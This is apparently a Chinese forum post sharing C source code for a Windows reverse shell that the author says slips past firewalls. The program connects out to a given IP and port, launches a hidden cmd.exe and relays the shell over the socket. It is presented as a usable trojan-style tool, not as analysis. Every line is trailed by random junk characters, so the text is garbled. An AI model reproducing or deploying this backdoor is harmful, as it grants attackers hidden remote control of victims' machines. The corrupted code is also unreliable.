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Windows下端口反弹

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这是一个Windows下的小程序,可以穿透防火墙反弹连接,当然这是最简单的!看到网络上反弹木马到处都是,心一热就有了这个了(代码很垃圾的)。 '=(@3ggA:  
D%h_V>#z  
/* ============================== |Li9Y"5  
Rebound port in Windows NT 7,2#0Z`ge  
By wind,2006/7 >_u5"&q  
===============================*/ DxzNg_E]  
#include "64D.c(r$  
#include qj*77  
b/&{:g!B  
#pragma comment(lib,"wsock32.lib") @WuG8G  
8C5*:x9l  
void OutputShell(); zxy/V^mu  
SOCKET sClient; hEfFMi=a`  
char *szMsg="Rebound port in Windows NT\nBy shucx,2003/10\nRebound successful,Entry Please!\n"; S*(n s<L  
(2'q~Z+>'  
void main(int argc,char **argv) ?dQ#%06mn  
{ ?#J;\^  
WSADATA stWsaData; D)J'xG_<O  
int nRet; f=Kt[|%'e  
SOCKADDR_IN stSaiClient,stSaiServer; 10ZL-7D#m  
+5ue) `  
if(argc != 3) VRvX^w0  
{ S !R:a>\  
printf("Useage:\n\rRebound DestIP DestPort\n"); gFw- P#t  
return;  m8z414o  
} xj. )iegQ  
;f~z_3g  
WSAStartup(MAKEWORD(2,2),&stWsaData); Z]k+dJ[-  
vU!<-T#  
sClient = socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); V w5@)l*f  
0T<DHPQ1  
stSaiClient.sin_family = AF_INET; sXR}#*8p  
stSaiClient.sin_port = htons(0); G~19Vv*;  
stSaiClient.sin_addr.S_un.S_addr = htonl(INADDR_ANY); {p7b\=WB-  
nm !H&#<  
if((nRet = bind(sClient,(SOCKADDR *)&stSaiClient,sizeof(stSaiClient)))==SOCKET_ERROR) 3.D|xE]g  
{ --g? `4  
printf("Bind Socket Failed!\n"); l~$Od jf  
return; #yR@.&P  
} H >1mi_1  
~.TKzh'eB  
stSaiServer.sin_family = AF_INET; ziG]BZ  
stSaiServer.sin_port = htons((u_short)atoi(argv[2])); ~MZ.988:<  
stSaiServer.sin_addr.s_addr = inet_addr(argv[1]); rtk1 8U-  
j(`V& S  
if(connect(sClient, (struct sockaddr *)&stSaiServer, sizeof(stSaiServer))==SOCKET_ERROR) jWerX -$  
{ SkMBdkS9z[  
printf("Connect Error!"); $6yr:2Xvt  
return; XV0t 8#T2  
} 42 &m)  
OutputShell(); L`0}wR?+  
} Z=y^9]  
\ Q0-yNt  
void OutputShell() Fhbp,CX4p  
{ d;LBV<Z?  
char szBuff[1024]; Tsl0$(2W  
SECURITY_ATTRIBUTES stSecurityAttributes; |p @,]c z  
OSVERSIONINFO stOsversionInfo; m; m4/z3U  
HANDLE hReadShellPipe,hWriteShellPipe,hReadPipe,hWritePipe; n Y=]KU  
STARTUPINFO stStartupInfo; a3(q;^v  
char *szShell; bcE%EQ  
PROCESS_INFORMATION stProcessInformation; \&1Di\eL  
unsigned long lBytesRead; Tz2<# pLR  
X?Z#k~JR  
stOsversionInfo.dwOSVersionInfoSize = sizeof(OSVERSIONINFO); UY*[='l!)  
gj<Y+Dv>  
stSecurityAttributes.nLength = sizeof(SECURITY_ATTRIBUTES); t 4tXLI;'  
stSecurityAttributes.lpSecurityDescriptor = 0; CsW*E,|xyP  
stSecurityAttributes.bInheritHandle = TRUE; H2D j`0  
^g*2jH+  
4@ =l'Fw  
CreatePipe(&hReadShellPipe,&hWriteShellPipe,&stSecurityAttributes,0); mp+lN:  
CreatePipe(&hReadPipe,&hWritePipe,&stSecurityAttributes,0); a>/jW-?  
2=ZZR8v  
ZeroMemory(&stStartupInfo,sizeof(stStartupInfo)); T0Zv.  
stStartupInfo.dwFlags = STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; 'UL"yM  
stStartupInfo.wShowWindow = SW_HIDE; O(Vi/r2:e  
stStartupInfo.hStdInput = hReadPipe; xDTDfhA  
stStartupInfo.hStdOutput = stStartupInfo.hStdError = hWriteShellPipe; c!}f\ ]D  
>XiTl;UU  
GetVersionEx(&stOsversionInfo); SSG}'W!z  
OBJk\j+Wi  
switch(stOsversionInfo.dwPlatformId) 4?F7%^vr  
{ vW:XM0  
case 1: 6=xbi{m$  
szShell = "command.com"; J#tY$PE  
break; U,)@+?U+h  
default: +x"cWOg  
szShell = "cmd.exe"; YJEL'k<l  
break; kqie|_y  
} I%fz^:[#<  
y:N>t+'5  
CreateProcess(NULL,szShell,NULL,NULL,1,0,NULL,NULL,&stStartupInfo,&stProcessInformation);  2t7Hu)V  
"lJ [H=\  
send(sClient,szMsg,77,0); )./'`Mx?  
while(1) #{u>  
{ @x z?^20N  
PeekNamedPipe(hReadShellPipe,szBuff,1024,&lBytesRead,0,0); Z )f\^  
if(lBytesRead) FtL{ f=  
{ ^6[o$eY3  
ReadFile(hReadShellPipe,szBuff,lBytesRead,&lBytesRead,0); qC?\i['`  
send(sClient,szBuff,lBytesRead,0); V=|X=:fuih  
} 0/Wo":R:  
else p4-bD_  
{ 4,pSC  
lBytesRead=recv(sClient,szBuff,1024,0); =2yg:D  
if(lBytesRead<=0) break; _N-JRM m<  
WriteFile(hWritePipe,szBuff,lBytesRead,&lBytesRead,0); iSz?V$}?  
} 47 _";g@X  
} qf2;yRc&  
 'WW['  
return; .^J7^ Ky,  
}
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